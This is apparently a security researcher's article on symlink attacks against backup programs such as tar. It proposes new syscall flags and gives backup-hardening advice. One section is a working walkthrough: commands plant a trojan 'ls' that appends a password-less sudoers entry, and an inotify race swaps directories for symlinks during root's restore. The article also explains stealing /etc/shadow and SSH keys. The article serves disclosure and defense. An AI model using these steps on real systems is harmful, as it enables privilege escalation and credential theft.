Table of Contents:
Symlinks: A Never-Ending Story

While symlinks are very useful for day to days work, they are prone to spread harvoc when used by malicious users or programs. There are many well-documented cases, where programs running with elevated privileges consume symlinks, that were placed there by other users.

Quite a few synlink attacks originate from the suboptimal combination of three actors, where none of them can deal with this issue on its own:

In a discussion about fixing tar program, Solar Designer sent two, from my opinion really outstanding posts, that sum up the issues with good application coding using the current syscalls and how administrators should use backup software. 1, 2

Status Quo: Playground for Malicious Users

At the moment, symlinks are a nice playground for malicious users, since they interfere deply with program data flow but do not require high skills and special techniques to use them. One group of programs with elevated risk to be attacked are backup applications because:

Of course, to exploit this, the user has to have the possibity to modify the structures while the program is running. Although real shell access is not necessary, e.g. sftp access or server scripts, that allow generation of symlinks is sufficient, the exploitation is much easier when logged on, the user might use inotify to increase his chances to nearly 100%

A typical attack from user "test" using helper DirModifyInotify.c might look like that:

Compile the helper:

test# gcc -o DirModifyInotify DirModifyInotify.c

Prepare the user directory for the nightly backup job (all run as user
test)

cd /home/test
mkdir -p root/adir
dd if=/dev/zero bs=1M count=1 of=root/adir/afile
mkdir root/bin
cat <<EOF > root/bin/ls
#!/bin/bash
test -r /etc/shadow && echo "test ALL=NOPASSWD: ALL" >> /etc/sudoers
exec /bin/ls2 "\$@"
EOF
chmod 0755 root/bin/ls
cp -a /bin/ls root/bin/ls2

Wait for root to do the nightly backup. This could be simulated by
running "tar -cvf /test.tar /home/test/" as root. The backup will
run 100% as expected, producing a standard user home dir backup.

Run trap commands as user test in /home/test next day:

test# rm -rf root/bin
test# echo "Waiting for event .." >&2
test# ./DirModifyInotify "root/" "root" "/"

Make root restore the backup in-place. Next time root runs backdoored
ls, test will become password-less sudoer. This can be simulated
running "tar -xvf /test.tar; ls" as root.

With this sequence, the user can overwrite arbitrary files as root. To get hold of files, he should not have access to, he can use the same technique but running the inotify listener during backup. The user might create a fake copy of the /etc directory in his own home directory. When the backup process performs a readdir on /home/test/etc, the inotify listener just replaces the directory with a symlink to real /etc, thus adding real /etc, including e.g. shadow and ssh server keys, to his home directory backup. This kind of attack should be fixed in tar 1.24 already (see timeline 20100919).

Getting Help from the OS

At the moment, the OS does provide functions to prevent or mitigate such attacks, but a developer would have to write code, that is longer, slower, has increased complexity and might open new attack vectors, e.g. file descriptor resource starvation. Therefore implementation of better syscalls might be useful.

Open call: have additional flags to make sure, that the path to the file does not contain any element that can be modified by another user with lower or equal privileges. The O_NOFOLLOW is a first step in this direction, but a variant, that checks the whole path might be of help, e.g. O_PATHSTATIC, that defines, that the path has to be completely static, e.g. does not traverse symlinks or even (userfs) mount points. The static variant could increase security and performance of backup tools, since these tools usually do not want to cross such an element anyway. For user space programs, a O_PATHTRUSTED might be sufficient, which will ensure, that links are only followed if the are owned by the user itself or higher privileged users.

Besides open, exec syscall might be interesting too. A new exec flag might define, that the path to the program must not contain any element that can be modified by another user with lower or equal privileges. This will ensure, that /etc/alternatives et al. still work, but some programs might use this exec, to ensure, that no untrusted binary is called instead after a user symlink trickery or PATH data injection.

At the moment, the OS does provide functions to prevent or mitigate directory symlink attacks, but a developer would have to code, that is longer and more complex.

Backup Hardening

Usually, a more general solution to a problem will take much more time, for some environments it might take too long, until useful implementation of commands, OS, .. is available. Until then, some rules of thumb can be used to reduce the risk of symlink attacks on backup systems:

Restoring backups to secure directory: Do not restore the backup to the live user directories, restore to a root owned 0700 directory instead, search directory for files not owned by user itself (stolen files), if none found, change ownership of files to user and then move the data to user directory. If you need to do a restore on a live directory, use su to change UID of tar process so that process has no permission to overwrite arbitrary files, but with that method, the user might still get hold of files not intended for him.

Inspect the backup content before handover to user: At least a minimal inspection of restored backup files is useful. The user could have used hardlinks to include suid-binaries in his backup and wait for bugs to be discovered in them, before asking for a restore. He could also hardlink unreadable files, e.g. /etc/shadow, if on same partition and hope that permissions would be changed on restore. He might also have managed to get device files with open permissions included in the backup. Such attacks would be very simple, when extracting untrusted or manipulated backups, e.g. of user home directories.

Look for backup tools with chroot capability: While adding chroot to a simple program is not very hard, this could prevent following of symlinks to arbitrary locations. For example, backup of user home directories in /home after chroot to /home would allow only to include files from other users, but not root. Changing the root might not be suitable for every situation, since a chroot with uid 0 to a directory, that could be modified as a user, can be very dangerous. And dropping root privileges might not be possible if special files or files of different users have to be backed up.

Take care when dealing with container-based virtualization: Backup from outside might be convenient but allows symlink attacks by applications within the container on files on the outside

Caveats

Adding these features to the OS and subsequently, to the programs, will cause numerous regressions (as can be seen in the lengthy discussion how tar fixes broke amanda backup), that cannot be fixed (trivially). One possibility would be to add --secure options to programs to allow security-aware sysadmins and programers to use the new features immediately. When called with old syntax, the program might issue warning about that. After some time, --secure could become the default and --insecure has to be used to make the software behave like the older versions.

Timeline
The main problem was, that every program tested, was vulnerable. So timeline was mainly influenced by time to install and test the software, contact devs. Since there is a multitude of backup programs out there, it is nearly impossible to contact them all.
References

Last modified 20111120
Contact e-mail: me (%) halfdog.net